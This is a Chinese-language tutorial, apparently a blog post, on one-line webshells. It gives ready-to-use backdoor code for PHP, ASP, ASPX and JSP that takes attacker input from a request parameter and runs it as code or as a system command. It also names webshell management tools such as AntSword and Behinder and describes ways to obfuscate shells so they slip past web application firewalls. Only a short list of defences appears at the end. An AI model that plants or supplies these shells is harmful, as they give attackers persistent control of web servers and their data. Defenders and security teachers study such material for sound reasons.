Webshell 一句话木马

Webshell介绍

什么是 WebShell

  • webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门

  • 由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具

  • 攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权

Webshell分类

Webshell 一句话木马

一句话木马的执行过程

Webshell 一句话木马

PHP中常见的代码执行函数

  • 执行函数与 Webshell的关系

    • PHP中可以执行代码的函数,常常被用来编写一句话木马 ,因此对代码执行函数做一些归纳
  • PHP中常见的代码执行函数

  • eval()、 assert()、 preg_replace()、create_function()

    • array_map()、call_user_func()、 call_user_func_array()、array_filter()
  • 命令执行函数

    • system()、exec()、 popen()、 passthru()、 shell_exec()、`

PHP Webshell

各个版本php支持函数如下

  • 5.x :eval / assert / preg_replace /e /create_function

  • 7.x :eval / assert

  • 8.x :eval

常用PHP函数版本Webshell

**// eval()函数** 
<?php eval($_REQUEST["cmd"]);?>

**// assert()函数** 
<?php assert($_REQUEST["cmd"]);?>

**// preg_replace()函数** 
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>

**// create_function()函数** 
<?php
  $func = create_function('',$_REQUEST['cmd']);
  $func();
?>

**// array_map()函数** 
<?php
 //func=system&cmd=ipconfig
 $func=$_REQUEST['func'];
 $cmd=$_REQUEST['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
?>

**// array_filter函数** 
<?php
 //func=system&cmd=whoami
 $cmd=$_REQUEST['cmd'];
 $array1=array($cmd);
 $func=$_REQUEST['func'];
 array_filter($array1,$func);
?>

PHP 4种标记风格

php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格

  1. xml风格(标准风格推荐使用)
<?php
  echo "这是xml风格的标记"; 
?>  
  • xml风格的标记是常用的标记,也是推荐使用的标记,服务器不能禁用,该风格的标记在xml,xhtml中都可使用。
  1. 脚本风格
<script languange="php"> 
  echo'这是脚本风格的标记';  
</script>  
  1. 短标签风格
<? 这是简短风格的标记; ?> 

注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭

  1. asp风格
<%  
  echo '这是asp风格的标记';  
%>  

注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭

  • 注:在以下情况应避免使用短标记:开发需要发行的程序或者库,或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行,确保不要使用短标记。

其他语言 Webshell

asp语言Webshell

// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值

// 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>

aspx语言Webshell

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>

jsp语言Webshell

// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
  while((a=in.read(b))!=-1){
    out.println(new String(b,0,a));
  }out.print("</pre>");
}%>

Webshell管理工具

  • 为什么使用 WebShel管理工具?

攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作

  • 常见的 WebShel管理工具

Webshell 一句话木马

蚁剑 (AntSword)

Webshell 一句话木马

C刀 (Knife)

Webshell 一句话木马

冰蝎 (Behinder)

  • 一款动态二进制加密 网站管理客户端

  • 冰蝎″目前最新版本为v3.0,兼容性已经日益完善,加密不再依赖 PHP opens$!展功能,同时支持了简单的ASP

  • 主体功能方面包括虚拟终端、 socks代理、文件管理、反弹she!数据库管理等,功能强大

  • github项目地址:https://github.com/rebeyond/behinder/releases

Webshell 一句话木马

  • Webshell管理工具四大功能

Webshell 一句话木马

Webshell变形

变形目的

  • waf通常以关键字 判断是否为一句话木马,但是一句话木马的变形有很多种,waf不可能全部拦截

  • 想要绕过waf,需要掌握各种PHP小技巧,把技巧结合起来,可以设计出属于自己的一句话木马

变形方法

  1. 利用str_replace() 函数

Webshell 一句话木马

  1. 利用base64_decode() 函数

Webshell 一句话木马

  1. 利用"."操作符

Webshell 一句话木马

  1. 更换数据来源

Webshell 一句话木马

  1. 替代标签

Webshell 一句话木马

  1. 字符串组合法隐藏关键字

Webshell 一句话木马

  1. 其他变形

Webshell 一句话木马

Webshell 一句话木马

Webshell变形总结

绕过技巧

  1. 更换执行数据来源

  2. 字符替换 或者编码

  3. 采取隐匿 手段

WebShell防御技巧

  1. 使用和及时更新防护类工具或产品

  2. 对服务器的文件夹设置严格的读写权限

  3. 在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数

  4. 定期检查系统进程,查看是否有可疑的进程

  5. 根据文件的创建日期观察系统目录下是否有近期新建的可执行文件

上一篇:渗透测试中说的Shell和Webshll到底是什么?


下一篇:无数字字母的webshell一